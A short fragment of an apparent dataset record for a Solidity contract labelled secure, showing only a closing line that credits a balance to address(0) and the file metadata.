_balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3699.sol",
"secure": 1,
"size_bytes": 4363
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.